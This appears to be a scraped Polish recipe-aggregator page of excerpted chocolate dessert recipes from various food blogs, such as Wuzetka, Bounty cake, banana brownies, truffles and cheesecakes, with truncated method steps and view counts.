Smaki Na Talerzu
najlepsze ptasie mleczko-kolorowe z kakaową pianką 828

galaretki o różnych kolorach (ja użyłam agrestowej-zielona,truskawkowej-czerwona, owoce leśne-fioletowa) 600ml wrzątku PIANKA CZEKOLADOWA 200ml mleka 1 śnieżka (bita śmietana w proszku) 60g 1 tabliczka mlecznej czekolady 100g 1 łyżeczka kakao 1 płaska łyżka żelatyny rozpuszczona w 1/4 szkl wody i ostudzona Przygotowanie ciasta polecam rozpocząć od rozpuszczenia każdej z galaretek w 200ml wrzącej wody. Galaretki dokładnie(...)dodajemy zimne galaretki miksujemy .Na zimny biszkopt dajemy po łyżce na zmianę każdego koloru galaretki. Wyrównujemy i wstawiamy do lodówki. Pianka czekoladowa- Do garnka wlewamy mleko i dajemy połamana czekoladę oraz łyżeczkę kakao.  Następnie zagotowujemy  i mieszamy do rozpuszczenia czekolady. Studzimy i do zimnego dodajemy śnieżkę i miksujemy do zgęstnienia. Na koniec dodajemy zimną żelatynę-miksujemy wylewamy

moje pyszne łatwe i sprawdzone przepisy krok po kroku
Ciasto Bounty bez pieczenia 1374

masła na masę kokosową: 1½ szklanki mleka 3,2% 300 g wiórków kokosowych 3 łyżeczki żelatyny 300 ml śmietany kremówki 4 łyżki cukru pudru na czekoladową polewę: 100 g czekolady mlecznej 80 ml śmietany kremówki Przygotowanie: Spód: Biszkopty miksujemy i ucieramy z masłem. Powstałą masą wykładamy spód formy. Masa kokosowa: Mleko podgrzewamy, dodajemy żelatynę. Gdy żelatyna się rozpuści wsypujemy wiórki(...)pudrem. Pod koniec ubijania dodajemy masę kokosową. Schładzamy w lodówce. Tężejącą masę wykładamy na ciasto. Czekoladowa polewa: Śmietankę podgrzewamy w garnku, podgrzewamy ale nie gotujemy. Zdejmujemy z ognia, wrzucamy czekoladę. Mieszamy do rozpuszczenia się czekolady i połączenia składników. Masę czekoladową wylewamy na kokosową masę. Chłodzimy w lodówce

Życie zaczyna się w kuchni
Torcik Wuzetka 434

łyżeczka proszku do pieczenia 4 łyżki ciemnego kakao łyżka wody Krem: 250 ml śmietany 30% 250 g serka mascarpone   Ponadto: wiśnie w likierze płatki migdałowe 80 g gorzkiej czekolady 5 łyżek śmietanki 30%  Sposób przygotowania : Biszkopt Żółtka oddzielamy od białek. Następnie białka ubijamy z połową cukru na sztywną pianę a żółtka z drugą połową cukru. Masę jajeczną łączymy(...)minut. Krem Zimną śmietanę ubijamy i w trakcie dokładamy serek mascarpone. Torcik Wuzetka Wystudzone, przekrojone ciasto, polałam sokiem z czarnej porzeczki, wyłożyłam krem śmietankowy i pokryłam drugim blatem ciasta. Czekoladę rozpuscilam w kąpieli wodnej, dolalam śmietankę i poczekalam aż czekolada się rozpuści. Polać ciasto polewą czekoladową. Migdały uprażyć na patelni, posypać nimi ciasto. Wisienkami ozdobić wierzch torcika.  Smacznego

Słodkości i nie tylko
Pierniczkowy deser warstwowy 150

deser warstwowy, jak przystało na taką słodkość przygotowuje się szybko i prosto. A potem równie szybko zjada. Odrobina słodkiej rozpusty w ciągu dnia Spróbujcie. Składniki: około 8 pierniczków (bez czekolady i lukru)* około 5 łyżeczek dżemu pomarańczowego korzennego Stovit (ilość zależy od wielkości szklanki) bita śmietana kostka czekolady ulubiona kolorowa posypka *u mnie resztki domowych (połamane) z tego przepisu Przygotowanie(...)śmietany, znów warstwa pierniczków, dżem, bita śmietana, i znów pierniczki (mniejsza ilość). Na wierzch wykładamy małą porcję dżemu, a całość ozdabiamy ulubioną posypką (u mnie mieszanka) i wbijamy kostkę czekolady. Deser wkładamy na kilka minut do lodówki (, aby warstwa pierniczków lekko zmiękła – nie będzie wówczas za sucho). Podajemy. Smacznego

Słodkie okruszki
Brownie bananowe 116

Składniki (na 8 porcji) - 3 dojrzałe banany (ok. 345 g), - tabliczka gorzkiej czekolady (ok. 100 g), - łyżka masła (ok. 10 g), - 2 jajka (ok. 100 g), - 2 łyżki mąki gryczanej (ok. 30 g), - 2 łyżki kakao (ok. 20 g), - łyżeczka cukru pudru (ok. 5 g). Sposób przygotowania 1. Banany miksujemy na gładką pastę. 2. Czekoladę z dodatkiem masła rozpuszczamy(...)kąpieli wodnej. 3. Do bananów dodajemy jajka, rozpuszczoną czekoladę (lekko przestudzoną), mąkę, kakao i delikatnie mieszamy. 4. Masę przelewamy do foremek i pieczemy w 180⁰C przez ok. 30 min. 5. Brownie posypujemy cukrem pudrem. Brownie bananowe jest bogate w: - potas i magnez (pochodzący z bananów i kakao), które regulują przewodzenie bodźców nerwowych. Wartość odżywcza jednej porcji: Porcja waży

Zdrowe odżywianie w pięciu smakach
Bananowe muffiny z kawałkami białej czekolady 113

ciasta.  Składniki: 3 bardzo dojrzałe banany 125ml roślinnego neutralnego oleju 120ml jogurtu sojowego 250g mąki 1 łyżeczka proszku do pieczenia ½ łyżeczki sody 100g cukru 1 tabliczka wegańskiej białej czekolady (np. iChoc), posiekanej na drobne kawałki Piekarnik rozgrzej do 200°C, a formę do muffinek wyłóż papilotami. Banany obierz i za pomocą widelca rozgnieć na papkę. Do naczynia wlej olej(...)dokładnie zamieszaj. Do osobnej miski wsyp wszystkie suche składniki i wlej do nich bananowy mus. Zamieszaj, aż powstanie jednolite ciasto, a na koniec wmieszaj w nie 2/3 kawałków czekolady. Przygotowanym ciastem napełnij kolejno wszystkie papiloty, a wierzch każdej babeczki udekoruj jeszcze kilkoma kawałkami pozostałej 1/3 czekolady. Wstaw do piekarnika na 20 minut. Podawaj po delikatnym przestudzeniu.  12 muffinek

Roślinna - blog wegański
Ciasto Wuzetka 315

moją wersję wuzetki! Biszkopt czekoladowy - przepis TUTAJ-KLIK Masa śmietanowa: 250 ml. śmietanki 30 % 250g. serka mascarpone 2 łyżki cukru pudru Polewa: 100 ml. śmietanki 30 % 100 g. czekolady gorzkiej dowolny dżem (np. wiśniowy, śliwkowy, ja użyłam frużeliny porzeczkowej TEJ-KLIK ) (adsbygoogle = window.adsbygoogle || []).push({}); Upiec biszkopt, wystudzić i przekroić na połowę - najlepiej to robić poprzedniego dnia, biszkopt nie jest(...)pozostawiając ok. 4 łyżek masy do dekoracji. Przykryć drugą połową biszkopta. Ciasto włożyć do lodówki. Przygotować polewę - śmietankę podgrzać, ale nie gotować! Do podgrzanej śmietanki dodać połamaną w kawałki czekoladę. Mieszać, aż czekolada się rozpuści i polewa będzie miała jednolitą konsystencję. Schłodzić w lodówce, polewa nieco zgęstnieje. Ciasto polać lekko gęstą polewą ganache i wyrównać. Schłodzić. Pozostałą śmietanką ozdabiać pokrojone

Wilczkowy Świat - nasze codzienne gotowanie
Ciasto toffi + film 165

Ciasto toffi to przepyszny deser na bazie biszkoptu z masą kajmakową i orzechami oraz bitą śmietaną posypaną startą czekoladą. Przygotowanie tego smakołyku jest bardzo proste i nie sprawia żadnych trudności. Pięknie wygląda i doskonale smakuje tworząc bardzo smaczną kompozycję, która zadowoli nie jedno podniebienie.     składniki na tortownicę 26 cm 4 jajka 1/2 szklanki cukru kryształu 1 szklanka mąki(...)mąki ziemniaczanej 1 łyżeczka proszku do pieczenia 400 g masy krówkowej 150 g orzechów włoskich 500 ml śmietany 30 % 1 łyżka cukru pudru 1 opakowanie śmietan fixu 50 g czekolady gorzkiej lub mlecznej przepis Do miski przekładamy oddzielone od żółtek, białka i ubijamy je na sztywną pianę, pod koniec ubijania wsypujemy cukier. Następnie do ubitej piany dodajemy żółtka, wsypujemy mąkę

Smakowite Dania
wafelki kokosowo-malinowe 121

szklanka mleka w proszku 1/2 szklanki mleka 250 g masła ( a najlepiej w tym wypadku margaryny) 100 g drobnych wiórek kokosowych 1/2 szklanki cukru 200 g mlecznej czekolady 5 łyżek śmietanki kremówki (można zastąpić mlekiem) słoiczek konfitury malinowej Stovit 2 łyżki sypkiej galaretki malinowej 1/3 szklanki wrzątku Mleko, masło, kokos i cukier zagotować i przestudzić. Wmieszać do tego mleko(...)proszku i odstawić do wystudzenia. Czekoladę połamać, zalać kremówką (lub mlekiem) i ustawić nad garnkiem z gorącą wodą. Mieszając stopić. Galaretkę rozpuścić we wrzątku i wymieszać z konfiturą. Odstawić, żeby zaczęła tężeć. Jeden wafel położyć na folii aluminiowej. Posmarować rozpuszczoną czekolada i przykryć drugim waflem. Wyłożyć połowę masy kokosowej, następnie kolejny wafel, konfiturę, wafel i masę kokosową. Przykryć ostatnim andrutem

Domowa Cukierenka-Domowa Kuchnia
Pieguski z czekoladą 158

Obłędne ciasteczka z kawałkami czekolady. Zdecydowanie najlepsze z najlepszych. Miękkie w środku z lekko płynnymi kawałkami czekolady a z wierzchu chrupiące, ale miękkie. Przepis ten bazuje na ciasteczkach Nigelli Lawson, ale nie byłabym sobą, gdybym nie zrobiła ich po swojemu. Ciasteczka mają 1 wadę, mimo szybkiego przygotowania znikają w jeszcze szybszym tempie. się wielkimi krokami.Na całe szczęście jest(...)rada wystarczy, że przygotowujesz podwójną porcję składników. Najlepsze ciasteczka z czekoladą Czytaj więcej » Ten i inne przepisy znajdziecie na stronie http://www.wielkiapetyt.blogspot.com

Wielki apetyt
Bezglutenowe ciasteczka z ciecierzycy 105

Kolejne ciasteczka z cyklu „bez glutenu”, tym razem z ciecierzycy. Są wyjątkowo lekkie i delikatne, o lekko cytrynowym aromacie, a odrobina czekolady wybornie dopełnia ich smak. Miśka znów mnie zaskoczyła, bo o ile Misiek słyszy bez glutenu to omija łukiem (naprawdę nie mam pojęcia skąd ta panika) to ona jest wielką fanką , a te zasmakowały jej na tyle(...)oleju roślinnego * lub 100 g a wtedy można pominąć orzechy nerkowca 80 g cukru pół łyżeczki sody oczyszczonej sok z połowy cytryny 50 g mąki kukurydzianej 50 g gorzkiej czekolady do dekoracji Przygotowanie: Przez 15 minut mocz orzechy nerkowca w gorącej wodzie, po czym je odsącz. Umieść wszystkie składniki na ciasta (z wyjątkiem mąki) w misce i zblenduj na idealnie

greenscarf
Marchewkowe romby bez cukru 216

orzechów pekan 100 g wiórków kokosowych 1 łyżka cynamonu skórka starta z cytryny 125 g mąki 1 łyżeczka proszku do pieczenia Polewa 1 łyżka oleju kokosowego 80 g gorzkiej czekolady Sposób przygotowania: Masło należy stopić, wystudzić. Marchewkę myjemy, obieramy i ścieramy na tarce o małych oczkach. Rozdzielamy jajka na żółtka i białka. Do żółtek dodajemy szczyptę soli, cukier wanilinowy(...)pieczenia i wlewamy ciasto.  Wstawiamy do nagrzanego piekarnika 170C i pieczemy ok 60 - 65 minut.   Polewa: W kapieli wodnej rozpuszczamy lyzke oleju kokosowego z polamana na kawałki czekolada. Czekamy az czekolada się rozpuści. Zestawiamy z ognia i czekamy ok. 15 minut. Polewamy wystudzone ciasto polewa. Odstawiamy w chłodne miejsce. Smacznego

Słodkości i nie tylko
Tarta z malinami i białą czekoladą. 121

Składniki: -szklanka mąki -3 łyżki cukru -1/2 kostki masła -szczypta soli -cukier puder do posypania tarty -200 g. malin -3/4 szklanki śmietany 35% -100 g. białej czekolady -3 jajka Sposób przygotowania: Mąkę przesiewamy do miski. Masło kroimy w kostkę i dodajemy do mąki razem z cukrem i szczyptą soli. Zagniatamy ciasto i wylepiamy nim formę do tarty. Ciasto(...)nakłuwamy widelcem i wkładamy do lodówki na 30 minut. Po tym czasie pieczemy 15-20 minut w 180 stopniach. Przygotowujemy masę. Czekoladę rozpuszczamy w kąpieli wodnej. Następnie ściągamy ją z "ognia" i łączymy ze śmietaną. Odstawiamy do wystudzenia. Jajka lekko ubijamy i delikatnie łączymy z czekoladą. Gotową masę wylewamy na podpieczony spód. Układamy umyte,odsączone maliny i pieczemy kolejne

Magia jedzenia.
Miodownik z orzechową wkładką 137

Ciasto należy do tych, które są lepsze tak po dwóch dniach, wtedy miodownik mięknie, bo na początku jest troszkę twardawy, ale potem rewelacja :-). Przepis znalazłam na blogu daktyle w czekoladzie . Miłego dnia i weekendy Wam życzę :-). Blaszka 21x31 cm Składniki ciasto miodowe: 370 g mąki pszennej  70 g cukru  70 g miodu  100 g miękkiego masła(...)dałam kopiate) 200 g masła temp. pokojowa Ma mleku gotujemy kaszę mannę, słodzimy. Odstawiamy do ostudzenia. Do miękkiego masła dodajemy po łyżce kaszy, miksujemy.  Wierzch: 100 g czekolady gorzkiej orzechy Przełożenie ciasta: blat miodowy - połowa masy grysikowej - ciasto orzechowe - druga połowa masy grysikowej - blat miodowy - roztopiona gorzka czekolada - orzechy

kruche babeczki
Jogurtowe placuszki kakaowe 113

posmakowały mi ostatnio przygotowane placuszki jogurtowe na śniadanie, że dzisiaj stworzyłam wersję z kakao. Delikatne, chrupiące z zewnątrz, mięciutkie w środku, oblane deserową czekoladą, posypane orzechami i kokosem. Taki początek dnia z pewnością doda energii! Nawet jeśli jest to poniedziałek! Czekolada wskazana w okresie zimowym! Jogurtowe placuszki kakaowe Składniki: 1 jajko 3/4 szklanki mąki pszennej 1 łyżeczka proszku do pieczenia(...)dodatkowo: olej do smażenia Przygotowanie: W misce mieszamy dokładnie wszystkie składniki na placuszki. Na rozgrzanej patelni z olejem smażymy placuszki z obu stron. Odsączamy na papierowym ręczniku. Podajemy polane czekoladą, oprószone wiórkami kokosowymi i orzechami

Moja smaczna kuchnia
Rolada czekoladowa z nutellą 149

wielbicieli czekolady i nutelli :) Lekki, delikatny biszkopt, krem czekoladowy... Czekoholicy będą zadowoleni ;) Polecam! Jeżeli przygotowałaś/eś danie z tego przepisu, proszę o jego zdjęcie :). Wyślij je na adres konsek_ewa@o2.pl lub zostaw w komentarzu na facebooku. Fotografię opublikuję na facebookowym profilu Domowej cukierni Ewy :)  Składniki na biszkopt: 4 jajka 100 g cukru 100 g mąki pszennej 3/4 łyżeczki proszku(...)roladę z ręczniczkiem zwijać wzdłuż dłuższego boku. Wystudzić. Krem czekoladowy: 200 g serka mascarpone 5 łyżek nutelli Mascarpone i nutellę przełożyć do naczynia, krótko zmiksować. Polewa czekoladowa: 100 g czekolady deserowej Czekoladę rozpuścić w kąpieli wodnej, odstawić. Wystudzoną roladę rozwinąć, usunąć ręcznik. Posmarować kremem czekoladowym. Zwinąć. Udekorować polewą czekoladową. Schłodzić w lodówce. Smacznego

Domowa cukiernia Ewy
Ciastka z masłem orzechowym (bez mąki) 170

jeżeli się uprzecie 3 (masło z orzeszków ziemnych, cukier i jajo). Potem uformować ciacha i upiec. A gdy macie jeszcze chwilę, to polecam zanurzyć ciastka do połowy w czekoladzie. Wtedy jest całkowita równowaga smaku, ciała i ducha. ;) Składniki na 20 ciastek: 250 g masła orzechowego , niesłodzonego 100 g drobnego cukru trzcinowego 1 jajo 2 szczypty sody garść prażonych orzeszków ziemnych(...)posiekanych ok. 70 g gorzkiej czekolady , opcjonalnie Piekarnik rozgrzać do 175°C (lub 160°C - termoobieg). Blachę wyłożyć papierem do pieczenia. Masło zmiksować z cukrem i sodą, a następnie z jajkiem aż do połączenia składników. Wymieszać z orzeszkami. Z masy uformować 20 kulek, ułożyć na blasze w odstępach, spłaszczyć widelcem lub dłonią. Piec przez ok. 18 minut do lekkiego zrumienienia

Pełny talerz
Tarta z mascarpone, białą czekoladą i malinami 183

przygotowuje i równie szybko znika. Składniki na spód: 150 g masła 300 g herbatników Składniki na krem:  250 g mascarpone (zazwyczaj jest to 1 opakowanie) 200 g białej czekolady (zazwyczaj są to 2 tabliczki)   Dodatkowo: duże pudełeczko malin Sposób przygotowania: 1 . Masło roztapiamy, lekko studzimy, herbatniki kruszymy na piasek, dodajemy masło, mieszamy (powinna wyjść konsystencja mokrego piasku). Wysypujemy(...)brytfankę, mocno ugniatamy i wkładamy do lodówki aż stężeje (ok 30 minut).  2 . Czekoladę rozpuszczamy w kąpieli wodnej, studzimy. 3. Mascarpone (bardzo zimne, z lodówki) miksujemy, a po chwili dodajemy tabliczki roztopionej, białej czekolady. Wylewamy na spod z herbatników. 4. Na kremie układamy maliny, wkładamy tartę do stężenia do lodówki (najlepiej na przynajmniej godzinę). Zamiast malin swobodnie można użyć

kuchnia do kwadratu
Orzechowo czekoladowa owsianka / Chocolate porridge with Nuts 124

coś co nam się z rana przyda ;) Składniki: pół szklanki mleka migdałowego 3 łyżki płatków owsianych łyżka nasion chia łyżka siemienia lnianego łyżka wiórków kokosowych łyżka orzechów włoskich kostka czekolady gorzkiej 80% Na początek w miseczce zalewam chia małą ilością mleka migdałowego, ładnie nam napęcznieje podczas gdy będziemy gotować owsiankę. Do rondelka wlewamy mleko, dodajemy płatki i czekoladę. Gotujemy(...)małym ogniu aż czekolada się rozpuści a płatki ładnie napęcznieją. Następnie dodajemy całość do miseczki z chia i wszystko razem mieszamy. Jak ktoś nie lubi puddingu z chia, niech się nie obawia, napewno nie wyczuje tego smaku w tym połączeniu, a organizm przyswoi przecież mikroelementy. Następnie kroimy orzechy włoskie, posypujemy owsiankę, dodajemy siemię lniane i wiórki kokosowe. Smacznego

Delusional Trine
Trufle czekoladowe czyli poWeekendowe Lakocie odc.144 148

szpitala więc wybaczcie mi to straszliwe opóźnienie. Trufle czekoladowe 3 łyżki rumu 300 ml śmietany 36% 30 g masła 3 krople wody z kwiatów pomarańczy (pominęłam) 300 g gorzkiej czekolady 70% kakao, orzeszki, migdały, rozdrobnione do obtoczenia Rum wlewamy do rondla, podgrzewamy i podpalamy zapałką. Gdy płomień zacznie wygasać dodajemy śmietanę i całość doprowadzamy do lekkiego wrzenia. Rondel zdejmujemy(...)gazu, wrzucamy masło, wodę z kwiatów pomarańczy. Gdy masło się roztopi, dorzucamy szczyptę soli oraz połamaną czekoladę. Mieszamy by czekolada się rozpuściła. Masę przekładamy do miseczki i wstawiamy do lodówki na minimum 2 h. Orzeszki i migdały podprażamy na patelni by zaczęły ładnie pachnieć. Z masy formujemy kuleczki i obtaczamy w orzechach lub kakao. Trzymamy w lodówce. Jeśli chcecie dać

Dzieje kuchennej Wiewióry
Sernik z musem malinowym 127

Użyłam okrągłej formy o średnicy 28 cm. Składniki powinny być w temperaturze pokojowej. Mus malinowy: 100 g malin cukier do smaku (około 1 łyżki) Czekoladowy spód: 80 g gorzkiej czekolady 80 g masła 50 g cukru 1 jajko 40 g mąki Masa serowa: 500 g sera twarogowego trzykrotnie mielonego 500 g sera mascarpone 100 ml śmietany kremówki 36% 4 jajka(...)czubate łyżki mąki ziemniaczanej 1 szklanka cukru 2 łyżeczki esencji waniliowej Maliny (świeże lub mrożone) zblendować z cukrem. Połamaną w kostki czekoladę rozpuścić a następnie odstawić do przestygnięcia. Utrzeć masło z cukrem na jasną masę. Dodać jedno ubite wcześniej jajko (ważne aby było w temperaturze pokojowej). Miksować chwilę, po czym dodać mąkę a na koniec roztopioną czekoladę. Wszystko delikatnie miksować

Bullio
Ciasto czekoladowo-bananowe 109

Biszkopt przełożony kremem budyniowym z bananami. Na wierzchu bita śmietana posypana startą gorzką czekoladą. Biszkopt czekoladowy: 6 jajek 150 g cukru 1 łyżeczka ekstraktu z wanilii 120 g mąki pszennej 50 g kakao łyżeczka masła (do wysmarowania tortownicy) Masa budyniowa: 1/3 szklanki cukru 1 budyń śmietankowy (60 g) 5 żółtek 500 ml mleka 100 g masła Na wierzch(...)śmietany 30% 2 łyżki cukru pudru 50 g gorzkiej czekolady Dodatkowo: 3 banany Najpierw należy przygotować biszkopt. Jajka powinny być w temperaturze pokojowej. Oddzielić białka od żółtek. Żółtka ubić z cukrem pudrem na jasną masę. Dodać mąkę, ekstrakt waniliowy oraz kakao i dalej miksować do uzyskania jednolitej konsystencji. Białka ubić na pianę. Delikatnie wymieszać szpatułką z przygotowaną masą. Wylać

Bullio
Ciasto z dżemem wiśniowym 211

TRUDNOŚĆ: średnie     CZAS: powyżej 60 min          -PORCJE: 15  Ciasto z dżemem wiśniowym CIASTO: 1 tabliczka czekolady mlecznej 5 jajek 5 łyżek cukru 2/3 szklanki mąki 1/3 szklanki kakao BEZA: 5 białek 20 dag cukru 1 łyżka kakao 1 łyżka mąki ziemniaczanej MASA: 500 ml śmietany(...)mascarpone 4 łyżki cukru dowolny dżem wiśniowy z owocami cukier puder   CIASTO: W rondelku rozpuścić czekoladę. Białka ubić, następnie dodać cukier i gdy już masa białkowa będzie ubita, dodać żółtka. Mąkę i kakao wymieszać i przesiać przez sito do masy, dodać ostudzoną czekoladę i wymieszać dokładnie, wyłożyć na brytfannę wysmarowaną margaryną. Piec ok. 30 minut w 180 st. BEZA

Gotuję Testuję
Tort Rafaello 148

szklanki mąki ziemniaczanej - 1 cukier waniliowy - 3/4 szklanki cukru - 6 jajek - 2 łyżeczki proszku do pieczenia Składniki na krem: - 1 litr śmietany kremówki - 2 śmietan fixy - 2 białe czekolady - 200 gram kokosu Przygotowanie biszkoptu: Wszystkie składniki powinny być w temperaturze pokojowej. Mąkę i proszek do pieczenia przesiewamy do miski. Białka oddzielamy od żółtek. Białka ubijamy na sztywną pianę ze szczyptą(...)przekładamy ciasto, wyrównujemy wierzch. Pieczemy w temperaturze 160 ºC przez około 40 minut lub do tzw. suchego patyczka. Pozostawiamy do wystygnięcia, następnie wycinamy równe 3 blaty.  Przygotowanie kremu: Czekoladę rozpuszczamy z odrobiną kremówki i studzimy. Śmietanę oraz śmietan fixy ubijamy, a następnie dodajemy wiórki kokosowe. Zostawiamy trochę do obsypania tortu.Wlewamy czekoladę, mieszamy intensywnie.  Blaty biszkoptu nasączamy

Życie zaczyna się w kuchni
Czekoladowo - orzechowe batony z płatkami kukurydzianymi 134

Szukając pomysłów na domowe batony, ciasteczka i w ogóle przekąski trafiłam na bloga  Grzegorza Mniam Mniam . Popatrzyłam, poczytałam i zrobiłam. Batony o smaku czekolady i  masła orzechowego z dodatkiem płatków kukurydzianych. Batony są bardzo szybkie w przygotowaniu, ale mają jedno ogromne ale są mega mega słodkie. Składniki: 3 tabliczki mlecznej czekolady 3/4 szklanki masła orzechowego 1/2 szklanki miodu(...)masła 3 szklanki płatków kukurydzianych Przygotowanie: Do dużej szklanej miski łamiemy na kosteczki czekoladę, dodajemy pozostałe składniki oprócz płatków kukurydzianych. Miskę wstawiamy do kuchenki mikrofalowej na 2 minuty. Wyjmujemy i dokładnie mieszamy, jeśli zachodzi jeszcze potrzeba wstawiamy jeszcze na 30 sekund, może trochę dłużej, na koniec mieszamy. Do gorącej masy wsypujemy płatki kukurydziane i bardzo dokładnie mieszamy. Przekładamy do formy

Życie zaczyna się w kuchni
Biszkoptowy piernik z granatem 114

śmietany kremówki (do chwili użycia trzymaj ją w lodówce - schłodzoną śmietanę łatwiej ubić), połowę sparzonej cytryny, 16 g cukru waniliowego, 6 płaskich łyżeczek żelatyny, 2 owoce granatu, 50 g czekolady. Mąkę pszenną przesiej i wymieszaj ją z mąką ziemniaczaną, kakao i przyprawą do piernika. Jajka sparz. Oddziel białka od żółtek. Żółtka przełóż do kubka lub niewielkiej miseczki. Dno formy wysmaruj(...)blaty. Przygotowanie kremu zacznij od umycia granatów. Z owoców wyciągnij pestki. Dokładne wyjaśnienie (wraz ze zdjęciami) jak to zrobić znajdziecie m.in. na stronie kucharz.wieszjak.pl . Z połowy cytryny wyciśnij sok. Czekoladę zetrzyj na tarce o dużych oczkach. Żelatynę zalej niewielką ilością zimnej wody i odstaw na chwilę, aby napęczniała. Napęczniałą żelatynę rozpuść podgrzewając (uważaj, żeby jej nie zagotować) lub wymieszaj

blog.moje-pasje.info
Letnie przetwory: Marmolada szwarcwaldzka 95

grubym dnie, kieliszek, wagę kuchenną, nóż i deskę do krojenia, łyżkę ewentualnie tarkę o dużych oczkach, blender lub sitko. Przygotuj składniki: 1,5 kg wiśni, 5 dag gorzkiej czekolady, 50 dag cukru żelującego 3:1, 100 ml likieru migdałowego. Wiśnie umyj pod bieżącą wodą i odsącz na sitku. Następnie wypestkuj je i odszypułkuj. Laskę wanilii przetnij wzdłuż na pół(...)czubkiem noża „zeskrob” miąższ z wnętrza jej połówek. Czekoladę posiekaj lub zetrzyj na tarce. Słoiki wymyj i wyparz. Połowę wiśni przełóż wraz z wanilią (zarówno miąższem jak i obiema połówkami laski) przełóż do rondelka. Całość postaw na ogniu i cały czas mieszając gotuj przez 15-20 minut. Po tym czasie ganek zdejmij z ognia i wyjmij połówki laski wanilii. Wiśnie

blog.moje-pasje.info
TORT Z CIASTECZKAMI OREO I SERKIEM MASCARPONE 111

WYMIARY BLACHY: TORTOWNICA O ŚREDNICY 21-23 CM. Składniki: Opakowanie ciasteczek "oreo" (176 g), 500 g serka mascarpone, 100 g masła (nie margaryny!), około 70 g gorzkiej czekolady, 2 opakowania cukru waniliowego. Przygotowanie: Ciasteczka k ruszę, dodaję masło, miksuję blenderem do uzyskania gładkiej masy. Tortownicę wykładam papierem do pieczenia, nakładam masę, równomiernie rozprowadzam, dociskam ręką. Chłodzę około 30 minut(...)międzyczasie miksuję mascarpone z cukrem waniliowym. Dodaję 3 kostki startej czekolady (na dużych oczkach), mieszam. Wykładam na schłodzony spód. Pozostałą czekoladę kroję na kawałki i obsypuję wierzch tortu. Chłodzę kolejne 15 minut. Dzisiejszy wpis dedykuję swoim ukochanym rodzicom.  Z najlepszymi życzeniami z okazji urodzin.  Kocham

JejKuchnia
BaBka KoKoSowo- CzekoLaDowA 201

Składniki: 1 tabliczka czekolady deserowej 1 kostka masła 1 kubek cukru 4 jajka 1,5 kubka mąki pszennej  0,5 opakowania proszku do pieczenia 0,5 kubka wiórków kokosowych 0,5 kubka mleka szczypta soli Przygotowanie: Czekoladę łamiemy na małe kawałki i rozpuszczamy w kąpieli wodnej. Studzimy. Miękkie masło, cukier, sól mieszamy do uzyskania kremowej konsystencji.  kolejno wbijamy(...)dobrze mieszamy.  Przesiewamy mąkę z proszkiem do pieczenia, dodajemy do masy, krótko mieszamy. Oddzielamy 1/3 ciasta, dodajemy wiórki kokosowe, 2-3 łyżki mleka i mieszamy.  Płynną czekoladę i pozostałe mleko dodajemy do większej części ciasta i krótko mieszamy, przelewamy do natłuszczonej keksówki (o długości 30 cm). Za pomocą łyżki robimy w cieście czekoladowym podłużny rowek, a następnie pośrodku

Luźna Kuchnia
Tort orzechowy bez pieczenia 202

paczka okrągłych biszkoptów (180g) 250 g mascarpone 200 g masła 1 szkl mleka 1,5 szkl mielonych orzechów arachidowych 1/2 szkl cukru 200 ml śmietanki 30 % 1 tabliczka mlecznej czekolady łyżka kruszonych orzechów do posypania tortownica o śred. 26 cm Przygotowanie: Do garnka wlewamy mleko, wsypujemy cukier i zagotowujemy.Do gotującego się mleka wsypujemy zmielone orzechy, mieszamy.Zmiejszamy gaz i gotujemy masę(...)biszkopty wykładamy połowę masy, wyrównujemy.Na masę układamy 2 warstwę ciastek a na nie kolejną warstwę kremu.Wyrównujemy. Wstawiamy do lodówki. W tym czasie w kąpieli wodnej rozpuszczamy tabliczkę czekolady. Śmietankę ubijamy na sztywno i łączymy z przestudzoną roztopioną czekoladą.Mieszamy razem do połączenia się składników.Masę czekoladową wykładamy na wierzch tortu, wyrównujemy i posypujemy orzechami.Ciasto wstawiamy do lodówki najlepiej

słodkie i nie tylko historie kulinarne
Piernikowa rolada z marcepanowym kremem 172

marcepanu kilka łyżek wrzątku 1-2 łyżki soku z cytryny Do nasączenia: 10-12 łyżek gorącej wody 1 łyżeczka miodu 1 łyżka soku z cytryny Polewa: 150 g czekolady mlecznej 3-4 łyżki śmietanki 30% Mąkę przesiewamy razem z proszkiem do pieczenia, przyprawą korzenną oraz kakao. Białka ubijamy na sztywną pianę. Do ubitych białek stopniowo dodajemy cukier. Nie przerywając ubijania(...)miksujemy. Biszkopt rozwijamy, nasączamy wodą z miodem i cytryną. Wykładamy masę marcepanową i zwijamy roladę. Odkładamy owinięte folią aluminiową w chłodne miejsce. Schłodzone ciasto dekorujemy rozpuszczoną w kąpieli wodnej czekoladą (kawałki czekolady wraz ze śmietanką umieszczamy w rondelku i kładziemy na inny garnek wypełniony do 1/4 objętości lekko gotującą się wodą). Źródło

Smaki Na Talerzu
Zdrowe słodkości - koktajl śliwka w czekoladzie 479

wszystkich zjadliwych owoców z gwarancją dobrego smaku. Koktajle to również źródło dużej ilości witamin, które dostarczane są do naszego organizmu w krótkim czasie. Kto z Was lubi śliwki w czekoladzie? Wszyscy? W takim razie jeśli ktoś dalej uważa, że zdrowe nie jest pyszne, to przygotujcie  wzorowany na nich koktajl śliwka w czekoladzie i sami przekonajcie się, jak można pożywnie(...)smacznie jeść. Śliwki w czekoladzie są przepyszne, ale ten koktajl jest jeszcze lepszy! Gęsty, lekko kwaśny, mocno czekoladowy i wspaniale smakuje jedzony łyżeczką jako deser. Za pierwszym razem wypiłam go duszkiem - po prostu niebo! Dlaczego warto? Suszone śliwki - mają 5 razy więcej witaminy A i łatwo rozpuszczalnego błonnika niż śliwki świeże. Dzięki zawartości pektyn oczyszczają i regulują pracę układu pokarmowego

Ekocozy | Naturalnie na co dzień
Ciasto czekoladowe z kulkami serowo -kokosowymi. 131

rozpłynęły się w cieście.Polecam. Ciasto: tortownica 20 cm ,ja zrobiłam w keksówce 4 jajka ,białka i żółtka oddzielnie 100 g cukru ,podzielić na dwie części 50 g gorzkiej czekolady ,najlepiej 70 % 3 łyżki mąki tortowej 2 łyżki mąki ziemniaczanej 3 łyżki kakao 1 łyżeczka ,płaska proszku do pieczenia Masa serowo – kokosowa: 250 g sera trzykrotnie mielonego 1 jajko(...)wiórek kokosowych 3 łyżki cukru Polewa: 125 ml mleka 150 g gorzkiej czekolady 70 % 30 g masła Składniki na masę serową połączyć ze sobą dokładnie na jednolitą masę i wstawić do lodówki na 15 minut . Następnie lepić kulki wielkości orzecha włoskiego i ułożyć na dnie tortownicy wyłożonej papierem do pieczenia. Ponownie wstawić do lodówki na czas przygotowania ciasta czekoladowego. Żółtka

Ladylaura.
Burgery z pieczonym kurczakiem, grillowanym ananasem i czekoladowym sosem barbecue 103

